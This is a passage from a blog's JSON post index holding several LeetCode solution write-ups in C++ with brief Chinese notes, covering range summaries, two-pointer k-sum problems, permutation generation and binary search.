4File Name :228.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 string int2st(long long x) 11 { 12 if (x==0) return \"0\"; 13 string ret = \"\"; 14 int val; //md还有负数 15 long long sign = 1; 16 if (x\u003c0) sign = -1; 17 x*=sign; 18 while (x) 19 { 20 val = x % 10; 21 ret = ret + char(val+'0'); 22 x/=10; 23 } 24 if (sign==-1) ret +=\"-\"; 25 reverse(ret.begin(),ret.end()); 26 return ret; 27 } 28 string solve(vector\u003cint\u003e\u0026 vec) 29 { 30 string ret = \"\"; 31 int siz = vec.size(); 32 if (siz==1) ret = ret + int2st(vec[0]); 33 else ret = ret + int2st(vec[0]) + \"-\u003e\" + int2st(vec[siz-1]); 34 return ret; 35 } 36 vector\u003cstring\u003e summaryRanges(vector\u003cint\u003e\u0026 nums) { 37 int siz = nums.size(); 38 vector\u003cstring\u003eres; 39 if (siz==0) return res; 40 vector\u003cint\u003etmp; 41 for ( int i = 0 ; i \u003c siz ; i++) 42 { 43 if (tmp.size()==0) 44 { 45 tmp.push_back(nums[i]); 46 }else if (nums[i]==nums[i-1]+1) 47 { 48 tmp.push_back(nums[i]); 49 }else 50 { 51 res.push_back(solve(tmp)); 52 tmp.clear(); 53 tmp.push_back(nums[i]); 54 } 55 } 56 res.push_back(solve(tmp)); 57 58 59 60 return res; 61 62 } 63 64};","date":"2017-04-14","externalUrl":null,"permalink":"/2017/04/leetcode-228/","section":"Posts","summary":"Given a sorted integer array without duplicates, return the summary of its ranges. For example, given [0,1,2,4,5,7], return [\"0-\u003e2\",\"4-\u003e5\",\"7\"]. 题意：把连续的数连续表示","tags":["leetcode"],"title":"leetcode 228. Summary Ranges","type":"post"},{"categories":["面试"],"content":"Given an array of n positive integers and a positive integer s, find the minimal length of a contiguous subarray of which the sum ≥ s. If there isn’t one, return 0 instead. For example, given the array [2,3,1,2,4,3] and s = 7, the subarray [4,3] has the minimal length under the problem constraint 思路：尺取即可。。好久没写，竟然调了半天。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 20时48分00秒 4File Name :209.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int ruler(vector\u003cint\u003enums,int tar,int n) 11 { 12 int head = 0; 13 int tail = 0; 14 int sum = 0 ; 15 int res = 0x3f3f3f3f; 16 while (tail\u003cn\u0026\u0026head\u003c=tail) 17 { 18 sum = sum + nums[tail]; 19 if (sum\u003e=tar) 20 { 21 res = min(res,tail-head+1); 22 while (sum\u003e=tar\u0026\u0026head\u003ctail) 23 { 24 sum-=nums[head]; 25 head++; 26 } 27 if (sum\u003e=tar) 28 { 29 res = min(res,tail-head+1); 30 } 31 else 32 { 33 head--; 34 sum+=nums[head]; 35 res = min(res,tail-head+1); 36 } 37 } 38 39 40 41 tail++; 42 } 43 return res==0x3f3f3f3f?0:res; 44 } 45 46 47 int minSubArrayLen(int s, vector\u003cint\u003e\u0026 nums) { 48 int n = nums.size(); 49 int res = ruler(nums,s,n); 50 return res; 51 52 53 } 54 55};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-209-minimum-size-subarray-sum/","section":"Posts","summary":"Given an array of n positive integers and a positive integer s, find the minimal length of a contiguous subarray of which the sum ≥ s. If there isn’t one, return 0 instead.","tags":["尺取法","leetcode"],"title":"leetcode 209. Minimum Size Subarray Sum (尺取法)","type":"post"},{"categories":["面试"],"content":"Given an integer array of size n, find all elements that appear more than ⌊ n/3 ⌋ times. The algorithm should run in linear time and in O(1) space. 题意：给你n个数，要求找出出现此处大于n/3的。。。 思路：之前做过一个找出n个数出现此处大于n/2的题目，思想是“非吾族类，其心必异”。。 这道题类似。。。容易知道题目要求的数最多有2个，最少有0个。。。 由于最多两个“族类”，在更新的时候，要判断是不是友军的人…毕竟朋友妻不可欺嘛（什么鬼 最后记得扫一遍，check一下，检查出现此处是否满足题意。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 20时05分53秒 4File Name :229.cpp 5************************************************ */ 6class Solution { 7 8public: 9 //出现次数大于int(n/3)的元素，最少有0个，最多有两个 10 vector\u003cint\u003e majorityElement(vector\u003cint\u003e\u0026 nums) { 11 vector\u003cint\u003eres; 12 int n = nums.size(); 13 if (n==0) return res; 14 int cnt1,cnt2,v1,v2; 15 cnt1 = cnt2 = 0; 16 v1 = v2 = -1; 17 for ( int i = 0 ; i \u003c n ; i++) 18 { 19 int x = nums[i]; 20// printf(\"i:%d nums[i]:%d v1:%d cnt1:%d v2:%d cnt2:%d\\n\",i,nums[i],v1,cnt1,v2,cnt2); 21 if (cnt1==0\u0026\u0026v2!=x) //兄弟的女人不要抢(误 22 { 23 cnt1++; 24 v1 = x; 25 continue; 26 }else if ( cnt2==0\u0026\u0026v1!=x) //朋友妻不可欺（？？？ 27 { 28 cnt2++; 29 v2 = x; 30 continue; 31 } 32 if (x==v1) cnt1++; 33 else if (x==v2) cnt2++; 34 else 35 { 36 cnt1--; 37 cnt2--; 38 } 39 } 40 int n3 = n/3; 41 int check1=0,check2=0; //未必出现此处大于int(n/3),再检查一次。 42 for ( int i = 0 ; i \u003c n ; i++) 43 { 44 if (nums[i]==v1) check1++; 45 else 46 if (nums[i]==v2) check2++; 47 } 48// cout\u003c\u003c\"v1:\"\u003c\u003cv1\u003c\u003c\" v2:\"\u003c\u003cv2\u003c\u003c\"c1:\"\u003c\u003ccheck1\u003c\u003c\" c2:\"\u003c\u003ccheck2\u003c\u003cendl; 49 if (v1==v2) 50 { 51 if (check1\u003en3) res.push_back(v1); 52 return res; 53 } 54// cout\u003c\u003c\"check1:\"\u003c\u003ccheck1\u003c\u003c\" n3:\"\u003c\u003cn3\u003c\u003cendl; 55 if (check1\u003en3) 56 res.push_back(v1); 57 if (check2\u003en3) 58 res.push_back(v2); 59 return res; 60 61 62 } 63 64};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-229-majority-element-ii/","section":"Posts","summary":"Given an integer array of size n, find all elements that appear more than ⌊ n/3 ⌋ times. The algorithm should run in linear time and in O(1) space. 题意：给你n个数，要求找出出现此处大于n/3的。。。","tags":["leetcode"],"title":"leetcode 229. Majority Element II （O(1)空间找出现次数大于n/3的元素）","type":"post"},{"categories":["面试"],"content":"Given an array with n objects colored red, white or blue, sort them so that objects of the same color are adjacent, with the colors in the order red, white and blue. Here, we will use the integers 0, 1, and 2 to represent the color red, white, and blue respectively. 题意：一个数组，由0,1,2组成，现在要求升序排列 思路：无脑做法就是计数排序，扫两遍，时间复杂度O(n)，空间复杂度O(1) 如果只扫一遍呢？ 一个容易想到的思路是两个指针： 需要注意 的是，交换2后要再次遍历到当前位置，或者说，只有当不交换2的时候，才执行cur++ 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 18时24分25秒 4File Name :75.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 //思路：把0往前仍，把2往后仍 11 void pr(vector\u003cint\u003e\u0026 nums) 12 { 13 int siz = nums.size(); 14 for ( int i = 0 ; i \u003c siz; i++) printf(\"%d%c\",nums[i],i==siz-1?'\\n':' '); 15 } 16 void sortColors(vector\u003cint\u003e\u0026 nums) { 17 int n = nums.size(); 18 int l=0,r=n-1; 19 int cur = 0; 20 while (cur\u003cr+1) 21 { 22 if (nums[cur]==0) 23 { 24 swap(nums[cur],nums[l]); 25 l++; 26 cur++; 27 continue; 28 } 29 if (nums[cur]==2) 30 { 31 swap(nums[cur],nums[r]); 32 r--; 33 continue; 34 } 35 cur++; //只有不交换的时候才cur++ 36 pr(nums); 37 } 38 39 } 40 41}; 还有一个神奇的思路：r,w,b分别表示下一个对应颜色要放的位置。 如果当前是0,那么0,1,2都要后移一个。 如果当前是1,那么1,2的位置需要后移。 如果当前是2,那么2的位置需要后移。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 18时24分25秒 4File Name :75.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 //思路：把0往前仍，把2往后仍 11 void pr(vector\u003cint\u003e\u0026 nums) 12 { 13 int siz = nums.size(); 14 for ( int i = 0 ; i \u003c siz; i++) printf(\"%d%c\",nums[i],i==siz-1?'\\n':' '); 15 } 16 void sortColors(vector\u003cint\u003e\u0026 nums) { 17 int n = nums.size(); 18 int r,w,b; 19 r=w=b=0; //r,w,b,分别表示，当前如果要放一个相应颜色，应该放在第几个。 20 for ( auto x :nums) 21 { 22 if (x==0)nums[b++]=2,nums[w++]=1,nums[r++]=","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-75-sort-colors/","section":"Posts","summary":"Given an array with n objects colored red, white or blue, sort them so that objects of the same color are adjacent, with the colors in the order red, white and blue.","tags":["two pointer","leetcode"],"title":"leetcode 75. Sort Colors","type":"post"},{"categories":["面试"],"content":"Given n non-negative integers a1, a2, …, an, where each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a container, such that the container contains the most water. Note: You may not slant the container and n is at least 2. 题意：n条竖直的线段 (i,0)-\u003e(i,a[i]),从中选2条，和x轴共同组成一个开口的容器，问容器的最大面积。 思路：一开始想错了，以为是最大连续矩形面积…还在想leetcode竟然考单调栈？？？ 然而实际上只取两个线段，中间的线段有没有，长度，都是无所谓的。 因此two pointer就好了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 18时06分42秒 4File Name :11.cpp 5 ************************************************ */ 6class Solution { 7 8 public: 9 10 int maxArea(vector\u003cint\u003e\u0026 height) { 11 int res = 0 ; 12 int n = height.size(); 13 int head = 0 ; 14 int tail = n-1; 15 while (head\u003ctail) 16 { 17 int h = min(height[head],height[tail]); 18 res = max(res,(tail-head)*h); 19 while (head\u003ctail\u0026\u0026height[head]\u003c=h) head++; 20 while (head\u003ctail\u0026\u0026height[tail]\u003c=h) tail--; 21 } 22 return res; 23 24 25 } 26 27};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-11-container-with-most-water-two-pointer/","section":"Posts","summary":"Given n non-negative integers a1, a2, …, an, where each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a container, such that the container contains the most water.","tags":["two pointer","leetcode"],"title":"leetcode 11. Container With Most Water (two pointer)","type":"post"},{"categories":["面试"],"content":"Given an array S of n integers, find three integers in S such that the sum is closest to a given number, target. Return the sum of the three integers. You may assume that each input would have exactly one solution. 思路： 排序，然后two pointer,复杂度 O(n^2) 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 16时24分28秒 4File Name :16.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int n; 11 int threeSumClosest(vector\u003cint\u003e\u0026 nums, int target) { 12 n = nums.size(); 13 sort(nums.begin(),nums.end()); 14 int mn = 0x3f3f3f3f; 15 int x,y,z; 16 for ( int i = 0 ; i \u003c=n-3 ; i++) 17 { 18 int head = i+1; 19 int tail = n-1; 20 int tar = target - nums[i]; 21 while (head\u003ctail) 22 { 23 int cur = target-nums[i]-nums[head]-nums[tail]; 24 if (abs(cur)\u003cmn) 25 { 26 mn = abs(cur); 27 x = nums[i]; 28 y = nums[head]; 29 z = nums[tail]; 30 } 31 if (nums[head]+nums[tail]==tar) return target; 32 if (nums[head]+nums[tail]\u003ctar) head++; 33 else tail--; 34 } 35 } 36 return x + y + z; 37 38 39 40 41 } 42 43};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-16-3sum-closest/","section":"Posts","summary":"Given an array S of n integers, find three integers in S such that the sum is closest to a given number, target. Return the sum of the three integers. You may assume that each input would have exactly one solution.","tags":["k-sum","two pointer","leetcode"],"title":"leetcode 16. 3Sum Closest (k-sum问题，two pointer)","type":"post"},{"categories":["面试"],"content":"Given an array S of n integers, are there elements a, b, c, and d in S such that a + b + c + d = target? Find all unique quadruplets in the array which gives the sum of target. Note: The solution set must not contain duplicate quadruplets. 思路： O(n^2)枚举两个元素，变成2-sum问题，总体复杂度O(n^3) hash的解法以后补 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 17时24分54秒 4File Name :18.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 vector\u003cvector\u003cint\u003e \u003eres; 11 set\u003cvector\u003cint\u003e \u003ese; 12 int n; 13 vector\u003cvector\u003cint\u003e\u003e fourSum(vector\u003cint\u003e\u0026 nums, int target) { 14 n = nums.size(); 15 if (n\u003c4) return res; 16 sort(nums.begin(),nums.end()); 17 18 for ( int i = 0 ; i \u003c= n-4 ; i++ ) 19 { 20 for ( int j = i+1 ; j \u003c= n-3 ; j++) 21 { 22 int head = j+1; 23 int tail = n-1; 24 int tar = target - nums[i] - nums[j]; 25 while (head\u003ctail) 26 { 27 if (nums[head]+nums[tail]==tar) 28 { 29 vector\u003cint\u003etmp; 30 tmp.push_back(nums[i]); 31 tmp.push_back(nums[j]); 32 tmp.push_back(nums[head]); 33 tmp.push_back(nums[tail]); 34 se.insert(tmp); 35 head++; 36 tail--; 37 } 38 else if (nums[head]+nums[tail]\u003ctar) head++; 39 else tail--; 40 } 41 } 42 } 43 for ( auto \u0026it :se) res.push_back(it); 44 return res; 45 46 47 } 48 49};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-18-4sum/","section":"Posts","summary":"Given an array S of n integers, are there elements a, b, c, and d in S such that a + b + c + d = target? Find all unique quadruplets in the array which gives the sum of target.","tags":["k-sum","two pointer","leetcode"],"title":"leetcode 18. 4Sum (k-sum问题，two pointer)","type":"post"},{"categories":["面试"],"content":"Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero. Note: The solution set must not contain duplicate triplets. 思路：排序O(nlgn)，然后枚举一个元素O(n),对于每个元素，在剩下的区间中 two pointer O(n) 整体复杂度 O(n^2)。 hash的解法以后补。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 16时07分00秒 4File Name :15.cpp 5************************************************ */ 6class Solution { 7public: 8 set\u003cvector\u003cint\u003e \u003ese; 9 vector\u003cvector\u003cint\u003e \u003eres; 10 vector\u003cvector\u003cint\u003e\u003e threeSum(vector\u003cint\u003e\u0026 nums) { 11 sort(nums.begin(),nums.end()); 12 int n = nums.size(); 13 for ( int i = 0 ; i \u003c=n-3 ; i++) 14 { 15 int head = i+1; 16 int tail = n-1; 17 int tar = -nums[i]; 18 while (head\u003ctail) 19 { 20 if (nums[head]+nums[tail]==tar) 21 { 22 vector\u003cint\u003etmp; 23 tmp.push_back(nums[i]); 24 tmp.push_back(nums[head]); 25 tmp.push_back(nums[tail]); 26 se.insert(tmp); 27 head++; 28 tail--; 29 } 30 else if (nums[head]+nums[tail]\u003ctar) head++; 31 else tail--; 32 } 33 } 34 for ( auto \u0026it : se) 35 res.push_back(it); 36 return res; 37 } 38};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-15-3sum/","section":"Posts","summary":"Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.","tags":["k-sum","two pointer","leetcode"],"title":"leetcode 15. 3Sum (k-sum问题，two pointer)","type":"post"},{"categories":["面试"],"content":"Find all possible combinations of k numbers that add up to a number n, given that only numbers from 1 to 9 can be used and each combination should be a unique set of numbers. 题意：1..9个数，从中选择k个，和为n，要求输出所有满足题意的集合。 思路：枚举子集，根据sum和集合元素个数剪枝即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 15时44分56秒 4File Name :216.cpp 5************************************************ */ 6class Solution { 7public: 8 set\u003cvector\u003cint\u003e \u003ese; 9 vector\u003cvector\u003cint\u003e \u003eres; 10 int B[1005]; 11 void get_subset(int n,int *B,int cur,int cnt,int k,int sum,int tar) 12 { 13 if (cur==n) 14 { 15 if (cnt!=k||sum!=tar) return; 16 vector\u003cint\u003etmp; 17 for ( int i = 0 ; i \u003c n ; i++) 18 if (B[i]) tmp.push_back(i+1); 19 se.insert(tmp); 20 return ; 21 } 22 if (cnt+1\u003c=k\u0026\u0026sum+(cur+1)\u003c=tar) 23 { 24 B[cur] = 1; 25 get_subset(n,B,cur+1,cnt+1,k,sum+(cur+1),tar); 26 } 27 B[cur] = 0 ; 28 get_subset(n,B,cur+1,cnt,k,sum,tar); 29 } 30 vector\u003cvector\u003cint\u003e\u003e combinationSum3(int k, int n) { 31 get_subset(9,B,0,0,k,0,n); 32 for ( auto \u0026it : se) res.push_back(it); 33 return res; 34 } 35};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-216-combination-sum-iii-add-to-list/","section":"Posts","summary":"Find all possible combinations of k numbers that add up to a number n, given that only numbers from 1 to 9 can be used and each combination should be a unique set of numbers.","tags":["枚举子集","leetcode"],"title":"leetcode 216. Combination Sum III Add to List (枚举子集，限定集合大小，和为定值）","type":"post"},{"categories":["面试"],"content":"Given two integers n and k, return all possible combinations of k numbers out of 1 … n. 思路：就是枚举子集，根据集合的大小剪枝。。。最后只要集合大小为k的集合 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 15时25分37秒 4File Name :77.cpp 5************************************************ */ 6class Solution { 7public: 8 set\u003cvector\u003cint\u003e \u003ese; 9 int B[1005]; 10 vector\u003cvector\u003cint\u003e \u003eres; 11 void get_subset(int n,int *B,int cur,int cnt,int k) 12 { 13 if (cur==n) 14 { 15 vector\u003cint\u003etmp; 16 for ( int i = 0 ; i \u003c n ; i++) 17 if (B[i]) tmp.push_back(i+1); 18 if (tmp.size()==k) 19 se.insert(tmp); 20 return ; 21 } 22 if (cnt\u003ck) 23 { 24 B[cur] = 1; 25 get_subset(n,B,cur+1,cnt+1,k); 26 } 27 B[cur] = 0 ; 28 get_subset(n,B,cur+1,cnt,k); 29 } 30 vector\u003cvector\u003cint\u003e\u003e combine(int n, int k) { 31 get_subset(n,B,0,0,k); 32 for (auto \u0026it:se) 33 { 34 res.push_back(it); 35 } 36 return res; 37 } 38};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-77-combinations/","section":"Posts","summary":"Given two integers n and k, return all possible combinations of k numbers out of 1 … n. 思路：就是枚举子集，根据集合的大小剪枝。。。最后只要集合大小为k的集合","tags":["枚举子集"],"title":"leetcode 77. Combinations (枚举子集，限定集合大小)","type":"post"},{"categories":["面试"],"content":"The set [1,2,3,…,_n_] contains a total of n! unique permutations. By listing and labeling all of the permutations in order, We get the following sequence (ie, for n = 3): 1. `\"123\"` 2. `\"132\"` 3. `\"213\"` 4. `\"231\"` 5. `\"312\"` 6. `\"321\"` Given n and k, return the _k_th permutation sequence. Note: Given n will be between 1 and 9 inclusive. 思路：还是根据leetcode 31 解题报告 中的算法搞一下就好了。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 15时17分19秒 4File Name :60.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 void solve(vector\u003cint\u003e\u0026nums) 11 { 12 int n = nums.size(); 13 if (n==0) return; 14 int k = -1; 15 for ( int i = n-2 ; i\u003e= 0 ; i--) 16 { 17 if (nums[i]\u003cnums[i+1]) 18 { 19 k = i; 20 break; 21 } 22 } 23 if (k==-1) 24 { 25 reverse(nums.begin(),nums.end()); 26 return; 27 } 28 int l = -1; 29 for ( int i = n-1 ; i \u003e k ; i--) 30 { 31 if (nums[k]\u003cnums[i]) 32 { 33 l = i ; 34 break; 35 } 36 } 37 swap(nums[l],nums[k]); 38 reverse(nums.begin()+k+1,nums.end()); 39 } 40 string getPermutation(int n, int k) { 41 vector\u003cint\u003enums; 42 43 for ( int i = 1 ; i \u003c= n ; i++) nums.push_back(i); 44 for ( int i = 2 ; i \u003c= k ; i++) solve(nums); 45 46 string res = \"\"; 47 int siz = nums.size(); 48 for ( int i = 0 ; i \u003c siz ; i++) res = res + char(nums[i]+'0'); 49 return res; 50 51 } 52 53};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-60-permutation-sequence/","section":"Posts","summary":"The set [1,2,3,…,_n_] contains a total of n! unique permutations. By listing and labeling all of the permutations in order, We get the following sequence (ie, for n = 3):","tags":["排列组合","leetcode"],"title":"leetcode 60. Permutation Sequence (求第k个排列)","type":"post"},{"categories":["面试"],"content":"Given a collection of numbers that might contain duplicates, return all possible unique permutations.__ 思路：和leet code 46 类似，最后用set去个重即可。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 15时00分48秒 4File Name :47.cpp 5************************************************ */ 6class Solution { 7 8public: 9 void solve( vector\u003cint\u003e\u0026nums) 10 { 11 int n = nums.size(); 12 if (n==0) return; 13 int k = -1; 14 for ( int i = n-2 ; i \u003e= 0 ; i--) 15 { 16 if (nums[i]\u003cnums[i+1]) 17 { 18 k = i; 19 break; 20 } 21 } 22 if (k==-1) 23 { 24 reverse(nums.begin(),nums.end()); 25 return; 26 } 27 int l = -1; 28 for ( int i = n-1 ; i \u003ek ; i--) 29 { 30 if (nums[k]\u003cnums[i]) 31 { 32 l = i; 33 break; 34 } 35 } 36 swap(nums[l],nums[k]); 37 reverse(nums.begin()+k+1,nums.end()); 38 } 39 40 void pr (vector\u003cint\u003e \u0026nums) 41 { 42 int siz = nums.size(); 43 for ( int i = 0 ; i \u003c siz; i++) 44 printf(\"%d%c\",nums[i],i==siz-1?'\\n':' '); 45 } 46 vector\u003cvector\u003cint\u003e\u003e permuteUnique(vector\u003cint\u003e\u0026 nums) { 47 set\u003cvector\u003cint\u003e \u003ese; 48 vector\u003cvector\u003cint\u003e \u003eres; 49 int n = nums.size(); 50 int total = 1 ; 51 for ( int i = 2 ; i \u003c= n ; i++) total*=i; 52 53 for ( int i = 1 ; i \u003c= total ; i++) 54 { 55 se.insert(nums); 56// pr(nums); 57 solve(nums); 58 } 59 for ( auto \u0026it :se) 60 { 61 res.push_back(it); 62 } 63 return res; 64 } 65 66};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-47-permutations-ii/","section":"Posts","summary":"Given a collection of numbers that might contain duplicates, return all possible unique permutations.__ 思路：和leet code 46 类似，最后用set去个重即可。。","tags":["排列组合","leetcode"],"title":"leetcode 47. Permutations II (生成全排列，有重复元素)","type":"post"},{"categories":["面试"],"content":"Given a collection of distinct numbers, return all possible permutations. 思路：调用n-1次 leetcode 31 解题报告 中提到的算法即可。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 14时49分34秒 4File Name :46.cpp 5 ************************************************ */ 6class Solution { 7 8 public: 9 10 void solve(vector\u003cint\u003e \u0026nums) 11 { 12 int n = nums.size(); 13 if (n==0) return; 14 int k = -1; 15 for ( int i = n-2 ; i \u003e= 0 ; i--) 16 { 17 if (nums[i]\u003cnums[i+1]) 18 { 19 k = i ; 20 break; 21 } 22 } 23 if (k==-1) 24 { 25 reverse(nums.begin(),nums.end()); 26 return; 27 } 28 int l = -1; 29 for ( int i = n-1 ; i \u003e k ; i-- ) 30 { 31 if (nums[k]\u003cnums[i]) 32 { 33 l = i ; 34 break; 35 } 36 } 37 swap(nums[l],nums[k]); 38 reverse(nums.begin()+k+1,nums.end()); 39 } 40 vector\u003cvector\u003cint\u003e\u003e permute(vector\u003cint\u003e\u0026 nums) { 41 vector\u003cvector\u003cint\u003e \u003eres; 42 int n = nums.size(); 43 int total = 1; 44 for ( int i = 2 ; i \u003c= n ; i++) total*=i; 45 for ( int i = 1 ; i \u003c= total; i++) 46 { 47 res.push_back(nums); 48 solve(nums); 49 } 50 51 return res; 52 } 53 54};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-46-permutations/","section":"Posts","summary":"Given a collection of distinct numbers, return all possible permutations. 思路：调用n-1次 leetcode 31 解题报告 中提到的算法即可。。。","tags":["排列组合","leetcode"],"title":"leetcode 46. Permutations (生成全排列，无重复元素)","type":"post"},{"categories":["面试"],"content":"Implement next permutation, which rearranges numbers into the lexicographically next greater permutation of numbers. If such arrangement is not possible, it must rearrange it as the lowest possible order (ie, sorted in ascending order). The replacement must be in-place, do not allocate extra memory. Here are some examples. Inputs are in the left-hand column and its corresponding outputs are in the right-hand column. 1,2,3 → 1,3,2 3,2,1 → 1,2,3 1,1,5 → 1,5,1 思路： 参考了wiki_Permutation 有一个算法完美解决了这个问题，空间复杂度O(1),时间复杂度O(n) The following algorithm generates the next permutation lexicographically after a given permutation. It changes the given permutation in-place. Find the largest index k such that a[k] \u003c a[k + 1]. If no such index exists, the permutation is the last permutation. Find the largest index l greater than k such that a[k] \u003c a[l]. Swap the value of a[k] with that of a[l]. Reverse the sequence from a[k + 1] up to and including the final element a[n]. 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 14时39分33秒 4File Name :31.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 void nextPermutation(vector\u003cint\u003e\u0026 nums) { 11 12 int n = nums.size(); 13 if (n==0) return; 14 int k = -1; 15 for (int i = n-2 ; i\u003e= 0 ; i--) 16 if (nums[i]\u003cnums[i+1]) 17 { 18 k = i; 19 break; 20 } 21 if (k==-1) 22 { 23 reverse(nums.begin(),nums.end()); 24 return; 25 } 26 int l = -1; 27 for ( int i = n-1 ; i \u003e k ; i--) 28 { 29 if (nums[k]\u003cnums[i]) 30 { 31 l = i; 32 break; 33 } 34 } 35 swap(nums[l],nums[k]); 36 reverse(nums.begin()+k+1,nums.end()); 37 38 } 39 40};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-31-next-permutation-in-place/","section":"Posts","summary":"Implement next permutation, which rearranges numbers into the lexicographically next greater permutation of numbers. If such arrangement is not possible, it must rearrange it as the lowest possible order (ie, sorted in ascending order).","tags":["排列组合","leetcode"],"title":"leetcode 31. Next Permutation (in-place 生成下一个全排列)","type":"post"},{"categories":["面试"],"content":"Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2). You are given a target value to search. If found in the array return its index, otherwise return -1. You may assume no duplicate exists in the array. 思路：找规律。。。二分。。。 0 1 2 3 4 5 6 1 2 3 4 5 6 0 2 3 4 5 6 0 1 3 4 5 6 0 1 2 4 5 6 0 1 2 3 5 6 0 1 2 3 4 6 0 1 2 3 4 5 观察发现。。。a[mid]\u003ca[r]的时候，后半段有序; a[mid]\u003ea[r]的时候，前半段有序。。 然后根据有序区间的端点值，确定tar是在该有序区间，还是在另一半区间。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 14时17分03秒 4File Name :33.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int bin(int n,int tar,vector\u003cint\u003e\u0026 nums) 11 { 12 int l = 0 ; 13 int r = n-1; 14 while (l\u003c=r) 15 { 16 int mid = (l+r)\u003e\u003e1; 17 if (nums[mid]==tar) return mid; 18 if (nums[mid]\u003cnums[r]) 19 { 20 if (nums[mid]\u003ctar \u0026\u0026 tar\u003c=nums[r]) l = mid + 1; 21 else r = mid -1; 22 } 23 else 24 { 25 if (nums[l]\u003c=tar \u0026\u0026 tar \u003c nums[mid]) r = mid - 1; 26 else l = mid + 1; 27 } 28 } 29 return -1; 30 } 31 32 int search(vector\u003cint\u003e\u0026 nums, int target) { 33 int n = nums.size(); 34 int res = bin(n,target,nums); 35 return res; 36 37 38 } 39 40};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-33-search-in-rotated-sorted-array/","section":"Posts","summary":"Suppose an array sorted in ascending order is rotated at some pivot unknown to you beforehand. (i.e., 0 1 2 4 5 6 7 might become 4 5 6 7 0 1 2).","tags":["binary search","leetcode"],"title":"leetcode 33. Search in Rotated Sorted Array (无重复数的旋转数组找定值)","type":"post"},{"categories":["面试"],"content":"Given an array of integers sorted in ascending order, find the starting and ending position of a given target value. Your algorithm’s runtime complexity must be in the order of O(log n). If the target is not found in the array, return [-1, -1]. For example, Given [5, 7, 7, 8, 8, 10] and target value 8, return [3, 4]. 思路：二分。。。 我好像根本不会二分啊？？？ 二分查找 1/* *********************************************** 2Author :111qqz 3Created Time :2017年04月13日 星期四 10时49分02秒 4File Name :34.cpp 5************************************************ */ 6class Solution { 7 8public: 9 10 int n; 11 vector\u003cint\u003eres; 12 int bin(int l,int r,vector\u003cint\u003e\u0026 nums,int tar) // 13 { 14 while (l\u003c=r) 15 { 16 int mid = (l+r)\u003e\u003e1; 17 if (nums[mid]\u003e=tar) r = mid - 1; 18 else l = mid + 1; 19 } 20 return nums[r+1]==tar?r+1:-1;//找到第一个等于tar的下标 21 } 22 int bin2(int l,int r,vector\u003cint\u003e\u0026 nums,int tar) 23 { 24 while (l\u003c=r) 25 { 26 int mid = (l+r)\u003e\u003e1; 27 if (nums[mid]\u003etar) r = mid-1; 28 else l = mid + 1; 29 } 30 return nums[l-1]==tar?l-1:-1; //找到最后一个等于tar的下标 31 } 32 vector\u003cint\u003e searchRange(vector\u003cint\u003e\u0026 nums, int target) { 33 n = nums.size(); 34 if (n==0) return vector\u003cint\u003e(2,-1); 35 int L = bin(0,n-1,nums,target); 36 int R = bin2(0,n-1,nums,target); 37 if (L\u003e=n) L = -1; //对于只有一个数的情况，需要维护一下。 38 if (R\u003e=n) R = -1; 39 res.push_back(L); 40 res.push_back(R); 41 return res; 42 } 43 44};","date":"2017-04-13","externalUrl":null,"permalink":"/2017/04/leetcode-34-search-for-a-range/","section":"Posts","summary":"Given an array of integers sorted in ascending order, find the starting and ending position of a given target value. Your algorithm’s runtime complexity must be in the order of O(log n).","tags":["binary search","leetcode"],"title":"leetcode 34. Search for a Range (二分，找到一段值为tar的区间)","type":"post"},{"categories":["面试"],"content":"Given a set of candidate numbers (C) (without duplicates) and a target number (T), find all unique combinations in C where the candidate numbers sums to T. The same repeated number 